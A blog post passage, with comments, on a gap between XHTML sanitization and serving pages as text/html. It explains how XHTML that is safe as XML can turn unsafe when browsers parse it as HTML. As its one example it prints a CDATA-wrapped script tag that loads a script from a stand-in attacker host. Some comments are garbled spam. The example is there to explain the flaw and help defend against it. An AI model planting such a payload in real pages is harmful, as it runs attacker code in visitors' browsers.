But there's one pitfall. Since some browsers (looking at you MSIE) don't understand XHTML we need to serve the pages as text/html. If we now choose to serve the XHTML as is we might run into some trouble. Since XHTML allows some constructs which mean nothing in HTML we might be able to create a valid and safe XHTML document, which isn't safe if served as HTML. For instance, this is a possible attack vector.
<![CDATA[ >
<script src="http://evilhaxor.org/evilscript.js"></script>
< ]]>
But since I'm not that skilled in XML, I don't know all possible constructs. But it might also be possible to do nasty things with namespaces for instance (let's say the script namespace). If anyone has additional attack vectors i'm very interested :)
4 comments:
Clearly, you mean that input is taken as XHTML instead of as HTML... right?
Ehm, yes, of course, fixed it. Thanks for the comment ;)
Nice fill someone in on and this mail helped me alot in my college assignement. Thank you seeking your information.
Brim over I to but I dream the list inform should have more info then it has.
Post a Comment